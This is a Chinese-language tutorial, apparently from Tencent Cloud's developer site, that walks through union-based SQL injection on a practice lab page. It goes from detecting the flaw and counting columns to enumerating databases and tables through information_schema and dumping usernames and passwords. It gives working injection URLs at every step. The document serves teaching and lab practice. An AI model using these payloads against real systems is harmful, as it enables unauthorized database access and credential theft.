SQL注入原理剖析
获取数据库 -> 获取表 -> 获取字段 -> 获取字段内容
注入点 : http://43.247.91.228:84/Less-2/?id=1
常见的有:
第一种:and
and 1=1 返回正常
and 1=2 返回错误
第二种:.0 、 .1
?id=3.0 返回正常
?id=3.1 返回错误
第三种:' (单引号)
?id=3' 加单引号报错
第四种:-1
?id=3-1 会返回 ?id=2 这个页面
正常页面:
and 1=1
返回正常:
and 1=2
返回错误
’
加单引号返回错误显示
判断后,存在SQL
注入!
在 MySQL
中,有一个很重要的数据库:information_schema
,而它有三个很重要的表
第一个表个是:SCHEMATA
:
information_schema
, 而这个数据库中的 SCHEMATA
表中的 SCHEMA_NAME
列中的值有我们的所有的数据库名
information_schema
:
第二个表是:TABLES
TABLES
这个表里的包含了数据库中所有的字段
information_schema
:
第三个表是:COLUMNS
COUMNS
这个表里的包含了数据库中所有的表
使用 union
查询是否有 4
列 , %23
是 #
号的 URL 编码,是注释
的意思(列数一样就不报错,列数不一样就报错)
http://43.247.91.228:84/Less-2/?id=2 union select 1,2,3,4 %23
这边是报错了,显示:The used SELECT statements have a different number of columns (查询的内容前后的列数不一致)说明不是 4 列
使用 union
查询是否有 3
列 , %23
是 #
号的 URL 编码,是注释的意思(因为刚刚判断是否有4列出错了,那么就往前减少一位数字判断)
http://43.247.91.228:84/Less-2/?id=2 union select 1,2,3 %23
这边是显示正常,说明是 3
列
这里有个疑问,这个 1,2,3 是什么意思呢?
1,2,3,是一个占位
的意思。它的意思就是判断前面的列数有几列,一个逗号分隔的就是一列
写其他的也可以,例如:66,777,8888
这个时候就可以在 1,2,3 占位符
里使用 SQL 语句来查询了!
因为有 union
查询,是查询前面和后面联合起来查询的,假如直接在列里插入 user()
//查询当前数据库用户名,不会显示
这是为什么呢?
因为 左边的 http://43.247.91.228:84/Less-2/?id=2
是一条查询语句
右边的 select 1,user(),3 %23
没有任何条件也可以查询出来
合并起来就是两条数据,但是呢它在显示数据的时候,默认只显示它的第一个数据,就是左边的数据,右边的数据有也不显示
这个时候我们就可以让左边的数据没有,就可以显示出了:
-2
是没有的,然后就可以构造语句 : http://43.247.91.228:84/Less-2/?id=-2 union select 1,user(),3 %23
这个时候就查询出当前数据库用户名是 root
查询 information_schema
数据库中的 schemata
表里的 schema_name
字段
http://43.247.91.228:84/Less-2/?id=-2 union select 1,schema_name,3 from information_schema.schemata %23
详解: information_schema.schemata 查询 information_schema 数据库下的 schemata 表 schema_name 这个就是 schemata 表里的字段 下面是数据库的结构:
这边只查询出一条数据,查询出来后会显示第一个的字段内容:information_schema
想要查询所有的呢,就可以使用一个函数:group_concat()
吧所有的列的数据都显示,以逗号分隔
http://43.247.91.228:84/Less-2/?id=-2 union select 1,group_concat(schema_name),3 from information_schema.schemata %23
详解: group_concat(schema_name) 这个是用 group_concat 函数查询 schema_name 字段中的所有数据,并以逗号显示出来
这样就查询出了所有的数据库 :information_schema,challenges,hacker,mysql,security,sql,test
查询当前所使用的数据库名
使用 database()
查询当前数据库名:
http://43.247.91.228:84/Less-2/?id=-2 union select 1,database(),3 from information_schema.schemata %23
database()
是SQL语句中查询当前数据库名的函数
这边查询出来,当前所使用的数据库名是:security
知道了当前所使用的数据库是 security
后,我们需要查询数据库下有那些表:(所有的)
http://43.247.91.228:84/Less-2/?id=-2 union select 1,group_concat(table_name),3 from information_schema.tables %23
详解: information_schema.tables 查询 information_schema 数据库下的 tables 的内容 group_concat(table_name) 使用 group_concat() 函数来显示出 table_name 列中的所有字段内容
上面的列出了所有的表了,但是我们想获取当前数据库下的表:
http://43.247.91.228:84/Less-2/?id=-2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database() %23
详解: information_schema.tables 查询 information_schema 数据库下的 tables 表 where table_schema = database() 使用 where 来指出只查询 table_schema 字段里当前所使用的数据库里的表(这个是一个条件语句) database() 是一个函数,查看当前数据库名
现在我们知道了,当前所使用的数据库中有四张表:mails,referers,uagents,users
一般 users
里会保存账号密码
查询 users
表里的字段:
http://43.247.91.228:84/Less-2/?id=-2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = database() and table_name='users' #
详解: information_schema.columns 查询 information_schema 数据库下的 columns 表 where table_schema = database() 使用 where 来指出只查询 table_schema 字段里当前所使用的数据库里的表(这个是一个条件语句) and table_name=’users’ and 条件语句来指出查询 table_name 表里的 ‘users’ 字段
这里就查询出了 users
表下的字段:id,username,password
查询 username,password 字段内容:
http://43.247.91.228:84/Less-2/?id=-2 union select 1,username,password from security.users #
详解: 在占位符中填写刚刚查询出来的字段名:username,password from security.users 查询 security 数据库中的 users 表
查询出来了,他们两个的值是 Dumb
(这边只是默认的第一行)
查询所有的字段内容:
http://43.247.91.228:84/Less-2/?id=-2 union select 1,group_concat(username),group_concat(password) from security.users #
详解:
还是使用 group_concat()
这个函数来实现的!
但是现实出来的不是那么的美观,而且你也不知道那个用户名对应的是那个密码
使用函数来实现让它们一一对应现实出账号密码:
http://43.247.91.228:84/Less-2/?id=-2 union select 1,concat(':',username,password),3 from security.users #
详解:
concat(‘:’,username,password) 使用concat()
函数来对 username,password 来一一对应
而 ':'
是为了让账号和密码用 : 来分隔
查询所有的列: http://43.247.91.228:84/Less-2/?id=-2 union select 1,group_concat(concat(‘:’,username,password)),3 from security.users #
详解: group_concat(concat(‘:’,username,password)) 还是使用 concat(‘:’,username,password) 来对 username,password 来一一对应,并使用 :来进行分隔 而 group_concat() 函数是用来现实全部的
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有